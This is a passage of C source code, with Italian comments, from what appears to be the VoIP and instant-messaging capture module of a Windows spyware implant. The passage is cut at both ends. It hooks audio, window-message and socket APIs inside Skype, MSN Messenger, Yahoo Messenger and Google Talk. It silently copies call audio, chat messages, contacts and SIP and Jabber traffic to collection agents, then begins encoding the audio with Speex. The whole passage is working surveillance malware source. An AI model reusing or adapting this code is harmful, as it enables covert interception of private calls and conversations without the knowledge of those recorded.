Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (ret_code!=S_OK || !Active || !(*Active))
return ret_code;
pData->obj_ptr = class_ptr;
pData->audio_data = *ppData;
return ret_code;
}
HRESULT __stdcall PM_WASAPICaptureGetBufferMSN(BYTE *class_ptr,
BYTE **ppData,
UINT32 *pNumFramesToRead,
DWORD *pdwFlags,
UINT64 *pu64DevicePosition,
UINT64 *pu64QPCPosition)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIGetBufferStruct)
CALL_ORIGINAL_API(6);
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (ret_code!=S_OK || !Active || !(*Active))
return ret_code;
// E' una nuova chiamata
if (pData->obj_ptr && pData->obj_ptr2 && pData->obj_ptr!=class_ptr && pData->obj_ptr2!=class_ptr) {
pData->obj_ptr = NULL;
pData->obj_ptr2 = NULL;
}
// Memorizza entrambi gli oggetti aperti da MSN
if (pData->obj_ptr == NULL) {
pData->obj_ptr = class_ptr;
pData->audio_data = *ppData;
} else if (pData->obj_ptr != class_ptr) {
if (pData->obj_ptr2 == NULL) {
pData->obj_ptr2 = class_ptr;
pData->audio_data2 = *ppData;
}
}
if (pData->obj_ptr == class_ptr)
pData->audio_data = *ppData;
if (pData->obj_ptr2 == class_ptr)
pData->audio_data2 = *ppData;
return ret_code;
}
DWORD PM_WASAPICaptureGetBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIGetBufferData.obj_ptr = NULL;
WASAPIGetBufferData.audio_data = NULL;
if (GetWASAPICaptureFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK)
return 1;
WASAPIGetBufferData.dwHookLen = 350;
return 0;
}
DWORD PM_WASAPICaptureGetBufferMSN_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "msnmsgr.exe") || !IsVista(NULL))
return 1; // Hooka solo MSN
} else
return 1;
WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIGetBufferData.obj_ptr = NULL;
WASAPIGetBufferData.obj_ptr2 = NULL;
WASAPIGetBufferData.audio_data = NULL;
WASAPIGetBufferData.audio_data2 = NULL;
if (GetWASAPICaptureFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK)
return 1;
WASAPIGetBufferData.dwHookLen = 550;
return 0;
}
HRESULT __stdcall PM_WASAPICaptureReleaseBuffer(BYTE *class_ptr,
DWORD NumFramesWrittem)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIReleaseBufferStruct)
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (Active && (*Active)) {
// Solo se e' una Release sull'ultimo oggetto su cui ha fatto la GetBuffer
if (pData->c_data->obj_ptr==class_ptr && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) {
if (pData->sampling != 0) {
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling), 4, FLAGS_SAMPLING | FLAGS_INPUT, IPC_HI_PRIORITY);
pData->sampling = 0;
}
LARGE_CLI_WRITE(pData->c_data->audio_data, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
pData->c_data->obj_ptr = NULL;
}
}
CALL_ORIGINAL_API(2);
return ret_code;
}
HRESULT __stdcall PM_WASAPICaptureReleaseBufferMSN(BYTE *class_ptr,
DWORD NumFramesWrittem)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIReleaseBufferStruct)
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (Active && (*Active)) {
// Solo se e' una Release sull'ultimo oggetto su cui ha fatto la GetBuffer
if (pData->c_data->obj_ptr2==class_ptr && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) {
if (pData->sampling2 != NumFramesWrittem*100) {
pData->sampling2 = NumFramesWrittem*100;
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling2), 4, FLAGS_SAMPLING | FLAGS_OUTPUT, IPC_HI_PRIORITY);
}
LARGE_CLI_WRITE(pData->c_data->audio_data2, NumFramesWrittem*MSN_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
}
if (pData->c_data->obj_ptr==class_ptr && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) {
if (pData->sampling != NumFramesWrittem*100) {
pData->sampling = NumFramesWrittem*100;
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling), 4, FLAGS_SAMPLING | FLAGS_INPUT, IPC_HI_PRIORITY);
}
LARGE_CLI_WRITE(pData->c_data->audio_data, NumFramesWrittem*MSN_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
}
}
CALL_ORIGINAL_API(2);
return ret_code;
}
DWORD PM_WASAPICaptureReleaseBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIReleaseBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIReleaseBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIReleaseBufferData.c_data = (WASAPIGetBufferStruct *)pData->PARAM[0];
WASAPIReleaseBufferData.prog_type = VOIP_SKWSA;
if (GetWASAPICaptureFunction(&(WASAPIReleaseBufferData.bAPIAdd), WASAPI_RELEASEBUFFER, &(WASAPIReleaseBufferData.n_channels), &(WASAPIReleaseBufferData.sampling)) != S_OK)
return 1;
WASAPIReleaseBufferData.dwHookLen = 700;
return 0;
}
DWORD PM_WASAPICaptureReleaseBufferMSN_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "msnmsgr.exe") || !IsVista(NULL))
return 1; // Hooka solo MSN
} else
return 1;
WASAPIReleaseBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIReleaseBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIReleaseBufferData.c_data = (WASAPIGetBufferStruct *)pData->PARAM[0];
WASAPIReleaseBufferData.prog_type = VOIP_MSNWS;
WASAPIReleaseBufferData.sampling = NULL;
WASAPIReleaseBufferData.sampling2 = NULL;
if (GetWASAPICaptureFunction(&(WASAPIReleaseBufferData.bAPIAdd), WASAPI_RELEASEBUFFER, &(WASAPIReleaseBufferData.n_channels), NULL) != S_OK)
return 1;
WASAPIReleaseBufferData.dwHookLen = 700;
return 0;
}
///////////////////////////
//
// waveOutWrite
//
///////////////////////////
typedef struct {
COMMONDATA;
DWORD prog_type;
waveOutGetID_t pwaveOutGetID;
} waveOutWriteStruct;
waveOutWriteStruct waveOutWriteData;
DWORD __stdcall PM_waveOutWrite(HWAVEOUT ARG1,
WAVEHDR *WaveHdr,
DWORD ARG3)
{
UINT devID;
BOOL *Active;
DWORD channels = 1;
MARK_HOOK
INIT_WRAPPER(waveOutWriteStruct)
CALL_ORIGINAL_API(3)
// Se e' andato storto, ritorna
if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=MMSYSERR_NOERROR)
return ret_code;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
pData->pwaveOutGetID(ARG1, &devID);
if (pData->prog_type == VOIP_SKYPE)
channels = 2;
// Non registra le scritture sul wave mapper
if (devID!=0xFFFFFFFF)
// Invia tutto al dispatcher
LARGE_CLI_WRITE((BYTE *)WaveHdr->lpData, WaveHdr->dwBufferLength, (channels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
return ret_code;
}
DWORD PM_waveOutWrite_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe") &&
stricmp(proc_name, "yahoomessenger.exe") &&
stricmp(proc_name, "googletalk.exe"))
return 1; // Hooka solo skype, yahoo, gtalk
} else
return 1;
if (!stricmp(proc_name, "skype.exe"))
waveOutWriteData.prog_type = VOIP_SKYPE;
else if (!stricmp(proc_name, "yahoomessenger.exe"))
waveOutWriteData.prog_type = VOIP_YAHOO;
else if (!stricmp(proc_name, "googletalk.exe"))
waveOutWriteData.prog_type = VOIP_GTALK;
else
waveOutWriteData.prog_type = 0;
VALIDPTR(hMod = LoadLibrary("winmm.DLL"))
VALIDPTR(waveOutWriteData.pwaveOutGetID = (waveOutGetID_t) HM_SafeGetProcAddress(hMod, "waveOutGetID"))
waveOutWriteData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
waveOutWriteData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
waveOutWriteData.dwHookLen = 750;
return 0;
}
///////////////////////////
//
// waveInUnprepareHeader
//
///////////////////////////
typedef struct {
COMMONDATA;
DWORD prog_type;
waveInGetID_t pwaveInGetID;
} waveInUnprepareHeaderStruct;
waveInUnprepareHeaderStruct waveInUnprepareHeaderData;
DWORD __stdcall PM_waveInUnprepareHeader(HWAVEOUT ARG1,
WAVEHDR *WaveHdr,
DWORD ARG3)
{
UINT devID;
BOOL *Active;
DWORD channels = 1;
MARK_HOOK
INIT_WRAPPER(waveInUnprepareHeaderStruct)
CALL_ORIGINAL_API(3)
// Se e' andato storto, ritorna
if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=MMSYSERR_NOERROR)
return ret_code;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
pData->pwaveInGetID(ARG1, &devID);
if (pData->prog_type == VOIP_SKYPE)
channels = 2;
// Non registra le scritture sul wave mapper
if (devID!=0xFFFFFFFF)
// Invia tutto al dispatcher
LARGE_CLI_WRITE((BYTE *)WaveHdr->lpData, WaveHdr->dwBufferLength, (channels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
return ret_code;
}
DWORD PM_waveInUnprepareHeader_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe") &&
stricmp(proc_name, "yahoomessenger.exe") &&
stricmp(proc_name, "googletalk.exe"))
return 1; // Hooka solo skype, yahoo, gtalk
} else
return 1;
if (!stricmp(proc_name, "skype.exe"))
waveInUnprepareHeaderData.prog_type = VOIP_SKYPE;
else if (!stricmp(proc_name, "yahoomessenger.exe"))
waveInUnprepareHeaderData.prog_type = VOIP_YAHOO;
else if (!stricmp(proc_name, "googletalk.exe"))
waveInUnprepareHeaderData.prog_type = VOIP_GTALK;
else
waveInUnprepareHeaderData.prog_type = 0;
VALIDPTR(hMod = LoadLibrary("winmm.DLL"))
VALIDPTR(waveInUnprepareHeaderData.pwaveInGetID = (waveInGetID_t) HM_SafeGetProcAddress(hMod, "waveInGetID"))
waveInUnprepareHeaderData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
waveInUnprepareHeaderData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
waveInUnprepareHeaderData.dwHookLen = 750;
return 0;
}
///////////////////////////
//
// SendMessageTimeOut
//
///////////////////////////
// Server per Skype
typedef struct {
COMMONDATA;
BOOL voip_is_sent;
HWND voip_skapi_wnd;
HWND voip_skapi_swd;
BOOL im_is_sent;
HWND im_skapi_wnd;
HWND im_skapi_swd;
BOOL cn_is_sent;
HWND cn_skapi_wnd;
HWND cn_skapi_swd;
BOOL is_skypepm;
BOOL is_spm_installed;
UINT attach_msg;
} SendMessageStruct;
SendMessageStruct SendMessageData;
LRESULT __stdcall PM_SendMessage( HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam,
UINT fuFlags,
UINT uTimeout,
PDWORD_PTR lpdwResult)
{
BOOL *Active_VOIP, *Active_IM, *Active_Contacts;
BYTE *msg_body;
COPYDATASTRUCT *cdata;
MARK_HOOK
INIT_WRAPPER(SendMessageStruct)
CALL_ORIGINAL_API(7)
// Controlla se il monitor e' attivo
Active_VOIP = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
Active_IM = (BOOL *)pData->pHM_IpcCliRead(PM_IMAGENT_SKYPE);
Active_Contacts = (BOOL *)pData->pHM_IpcCliRead(PM_CONTACTSAGENT);
if (!Active_VOIP || !Active_IM || !Active_Contacts)
return ret_code;
// Se sono disabilitati entrambi esce
if (!(*Active_VOIP) && !(*Active_IM) && !(*Active_Contacts))
return ret_code;
if (!pData->pHM_IpcCliWrite)
return ret_code;
// Skype ha dato l'ok per l'attach. Notifico i processi per poter mandare i messaggi delle api
if (!pData->is_spm_installed && !pData->is_skypepm && Msg==pData->attach_msg && wParam!=NULL) {
if ((*Active_VOIP)) {
if (pData->voip_skapi_swd != hWnd || pData->voip_skapi_wnd != (HWND)wParam) {
pData->voip_skapi_swd = hWnd;
pData->voip_skapi_wnd = (HWND)wParam;
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&pData->voip_skapi_wnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY);
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&pData->voip_skapi_swd), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY);
}
}
if ((*Active_IM)) {
if (pData->im_skapi_swd != hWnd || pData->im_skapi_wnd != (HWND)wParam) {
pData->im_skapi_swd = hWnd;
pData->im_skapi_wnd = (HWND)wParam;
pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&pData->im_skapi_wnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY);
pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&pData->im_skapi_swd), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY);
}
}
if ((*Active_Contacts)) {
if (pData->cn_skapi_swd != hWnd || pData->cn_skapi_wnd != (HWND)wParam) {
pData->cn_skapi_swd = hWnd;
pData->cn_skapi_wnd = (HWND)wParam;
pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)(&pData->cn_skapi_wnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY);
pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)(&pData->cn_skapi_swd), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY);
}
}
}
if (Msg != WM_COPYDATA)
return ret_code;
cdata = (COPYDATASTRUCT *)lParam;
msg_body = (BYTE *)cdata->lpData;
if (pData->is_skypepm) {
if ((*Active_VOIP)) {
if (pData->voip_skapi_wnd != hWnd || pData->voip_skapi_swd != (HWND)wParam) {
pData->voip_skapi_wnd = hWnd;
pData->voip_skapi_swd = (HWND)wParam;
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&hWnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY);
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&wParam), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY);
}
}
if ((*Active_IM)) {
if (pData->im_skapi_wnd != hWnd || pData->im_skapi_swd != (HWND)wParam) {
pData->im_skapi_wnd = hWnd;
pData->im_skapi_swd = (HWND)wParam;
// Usa la dispatch del tag utilizzato per start/stop dell'agente
pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&hWnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY);
pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&wParam), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY);
}
}
if ((*Active_Contacts)) {
if (pData->cn_skapi_wnd != hWnd || pData->cn_skapi_swd != (HWND)wParam) {
pData->cn_skapi_wnd = hWnd;
pData->cn_skapi_swd = (HWND)wParam;
// Usa la dispatch del tag utilizzato per start/stop dell'agente
pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)(&hWnd), sizeof(DWORD), FLAGS_SKAPI_WND, IPC_HI_PRIORITY);
pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)(&wParam), sizeof(DWORD), FLAGS_SKAPI_SWD, IPC_HI_PRIORITY);
}
}
} else { // siamo dentro Skype
if ((*Active_VOIP)) {
if (!pData->voip_is_sent) {
pData->voip_is_sent = TRUE;
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(&ret_code), sizeof(DWORD), FLAGS_SKAPI_INI, IPC_HI_PRIORITY);
}
}
if ((*Active_IM)) {
if (!pData->im_is_sent) {
pData->im_is_sent = TRUE;
pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)(&ret_code), sizeof(DWORD), FLAGS_SKAPI_INI, IPC_HI_PRIORITY);
}
}
if (cdata->cbData <= 4)
return ret_code;
// Scremiamo i messaggi che sicuramente non ci servono
// CALL , #1411... ci servono
if ((*Active_VOIP)) {
if ( (msg_body[0]=='C' && msg_body[1]=='A' && msg_body[2]=='L' && msg_body[3]=='L') ||
(msg_body[1]=='1' && msg_body[2]=='4' && msg_body[3]=='1' && msg_body[4]=='1'))
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)cdata->lpData, cdata->cbData, FLAGS_SKAPI_MSG, IPC_HI_PRIORITY);
}
if ((*Active_IM)) {
if ( (msg_body[0]=='C' && msg_body[1]=='H' && msg_body[2]=='A' && msg_body[3]=='T') ||
(msg_body[0]=='M' && msg_body[1]=='E' && msg_body[2]=='S' && msg_body[3]=='S') ||
(msg_body[1]=='I' && msg_body[2]=='M' && msg_body[3]=='A' && msg_body[4]=='G'))
pData->pHM_IpcCliWrite(PM_IMAGENT, (BYTE *)cdata->lpData, cdata->cbData, FLAGS_SKAPI_MSG, IPC_HI_PRIORITY);
}
if ((*Active_Contacts)) {
DWORD data_len;
data_len = cdata->cbData;
// Se eccedesse, il messaggio non verrebbe mandato proprio
if (data_len > MAX_MSG_LEN)
data_len = MAX_MSG_LEN;
if ( (msg_body[0]=='A' && msg_body[1]=='U' && msg_body[4]=='_' && msg_body[5]=='C') ||
(msg_body[0]=='C' && msg_body[1]=='U' && msg_body[2]=='R' && msg_body[3]=='R'))
pData->pHM_IpcCliWrite(PM_CONTACTSAGENT, (BYTE *)cdata->lpData, data_len, FLAGS_SKAPI_MSG, IPC_HI_PRIORITY);
}
}
return ret_code;
}
DWORD PM_SendMessage_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo skype
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
SendMessageData.is_skypepm = FALSE;
if (!stricmp(proc_name, "skypepm.exe")) {
SendMessageData.is_skypepm = TRUE; // siamo in skypepm
} else if (stricmp(proc_name, "skype.exe"))
return 1; // Se non siamo in skype non mette l'hook sulla sendmessage
} else
return 1;
if (IsSkypePMInstalled())
SendMessageData.is_spm_installed = TRUE;
else
SendMessageData.is_spm_installed = FALSE;
SendMessageData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
SendMessageData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
SendMessageData.voip_is_sent = FALSE;
SendMessageData.voip_skapi_wnd = 0;
SendMessageData.voip_skapi_swd = 0;
SendMessageData.im_is_sent = FALSE;
SendMessageData.im_skapi_wnd = 0;
SendMessageData.im_skapi_swd = 0;
SendMessageData.cn_is_sent = FALSE;
SendMessageData.cn_skapi_wnd = 0;
SendMessageData.cn_skapi_swd = 0;
SendMessageData.attach_msg = RegisterWindowMessage("SkypeControlAPIAttach");
SendMessageData.dwHookLen = 2650;
return 0;
}
///////////////////////////
//
// Recv e Send
//
///////////////////////////
// Server per Yahoo Messenger
typedef struct {
COMMONDATA;
} RecvStruct;
RecvStruct RecvData;
int __stdcall PM_Recv(SOCKET s,
char *buf,
int len,
int flags)
{
BOOL *Active;
DWORD msg_len;
MARK_HOOK
INIT_WRAPPER(RecvStruct)
CALL_ORIGINAL_API(4)
// Controlla il valore di ritorno
if (!ret_code || ret_code==SOCKET_ERROR || buf==NULL)
return ret_code;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
msg_len = ret_code;
if (msg_len>15 && buf[0]=='S' && buf[1]=='I' && buf[2]=='P' && buf[3]=='/')
// Il messaggio ricevuto sulla socket potrebbe essere piu' lungo di 1KB
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_YMSG_IN, IPC_HI_PRIORITY);
else if (msg_len>15 && buf[0]=='<' && buf[1]=='i' && buf[2]=='q' && buf[3]==' ')
// Il messaggio ricevuto sulla socket potrebbe essere piu' lungo di 1KB
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_GTALK_IN, IPC_HI_PRIORITY);
return ret_code;
}
int __stdcall PM_Send(SOCKET s,
char *buf,
int len,
int flags)
{
BOOL *Active;
DWORD msg_len;
MARK_HOOK
INIT_WRAPPER(RecvStruct)
CALL_ORIGINAL_API(4)
// Controlla il valore di ritorno
if (!ret_code || ret_code==SOCKET_ERROR || buf==NULL)
return ret_code;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
msg_len = ret_code;
if (msg_len>15 && buf[0]=='S' && buf[1]=='I' && buf[2]=='P' && buf[3]=='/')
// Il messaggio ricevuto sulla socket potrebbe essere piu' lungo di 1KB
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_YMSG_OUT, IPC_HI_PRIORITY);
else if (msg_len>15 && buf[0]=='<' && buf[1]=='i' && buf[2]=='q' && buf[3]==' ')
// Il messaggio ricevuto sulla socket potrebbe essere piu' lungo di 1KB
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_GTALK_OUT, IPC_HI_PRIORITY);
else if(msg_len > 7 && buf[0]=='U' && buf[1]=='U' && buf[2]=='N' && buf[3]==' ')
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_MSN_OUT, IPC_HI_PRIORITY);
return ret_code;
}
DWORD PM_Recv_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
// Verifica autonomamente se si tratta di un programma da hookare
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "YahooMessenger.exe") &&
stricmp(proc_name, "Googletalk.exe") &&
stricmp(proc_name, "msnmsgr.exe"))
return 1; // Hooka solo YahooMessenger, GTalk e MSN
} else{
return 1;
}
RecvData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
RecvData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
RecvData.dwHookLen = 850;
return 0;
}
///////////////////////////
//
// WSARecv
//
///////////////////////////
// Server per Yahoo Messenger
typedef struct _WSABUF {
ULONG len; /* the length of the buffer */
__field_bcount(len) CHAR FAR *buf; /* the pointer to the buffer */
} WSABUF, FAR * LPWSABUF;
typedef struct _OVERLAPPED * LPWSAOVERLAPPED;
typedef void (WINAPI *LPWSAOVERLAPPED_COMPLETION_ROUTINE)(DWORD, DWORD, LPWSAOVERLAPPED, DWORD);
typedef struct {
COMMONDATA;
} WSARecvStruct;
WSARecvStruct WSARecvData;
int FAR PASCAL PM_WSARecv(SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesRecvd,
LPDWORD lpFlags,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
BOOL *Active;
char *buf;
DWORD msg_len;
MARK_HOOK
INIT_WRAPPER(WSARecvStruct)
CALL_ORIGINAL_API(7)
// Controlla il valore di ritorno
if (ret_code!=0)
return ret_code;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
if(lpNumberOfBytesRecvd) {
msg_len = *lpNumberOfBytesRecvd;
buf = lpBuffers[0].buf;
if (msg_len>15 && buf[0]=='S' && buf[1]=='I' && buf[2]=='P' && buf[3]=='/')
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)(buf), (msg_len>MAX_MSG_LEN)?MAX_MSG_LEN:msg_len, FLAGS_YMSG_IN, IPC_HI_PRIORITY);
}
return ret_code;
}
DWORD PM_WSARecv_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta di un programma da hookare
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "YahooMessenger.exe"))
return 1; // Hooka solo YahooMessenger
} else{
return 1;
}
WSARecvData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WSARecvData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WSARecvData.dwHookLen = 900;
return 0;
}
// Inserisce un campione nell'array (i campioni arrivano gia' ordinati dalla coda IPC)
BOOL InsertList(BYTE *channel_array, BYTE *sample, DWORD sample_len, DWORD offset)
{
// Inserisce solo messaggi contenenti dati
if (sample_len==0 || !channel_array)
return FALSE;
memcpy(channel_array + offset, sample, sample_len);
return TRUE;
}
// Salva la lista come file encodato
#define SPEEX_FREE {rel_speex_encoder_destroy(state); rel_speex_bits_destroy(&bits);}
void SaveEncode(BYTE *source, DWORD total_size, DWORD channels, pVoiceAdditionalData additional_data, DWORD additional_len)
{
#define MODE_UWB 2
DWORD SAMPLE_SIZE = 2;
short *bit_sample;
float *bit_sample_float;
void *state;
float *input;
BYTE *to_write;
BYTE *source_ptr;
BYTE *cbits;
SpeexBits bits;
DWORD frame_size = 0;
DWORD i, nbBytes;
DWORD complexity = 1;
HANDLE hf;
// Crea un nuovo encoder in wide mode*/
state = rel_speex_encoder_init(rel_speex_lib_get_mode(MODE_UWB));
rel_speex_encoder_ctl(state, SPEEX_SET_QUALITY, &compress_factor);
rel_speex_encoder_ctl(state, SPEEX_SET_COMPLEXITY, &complexity);
rel_speex_bits_init(&bits);
rel_speex_encoder_ctl(state, SPEEX_GET_FRAME_SIZE, &frame_size);
// Allochiamo un buffer per tutta la sequenza di campioni
if (!frame_size) {
SPEEX_FREE;
return;
}
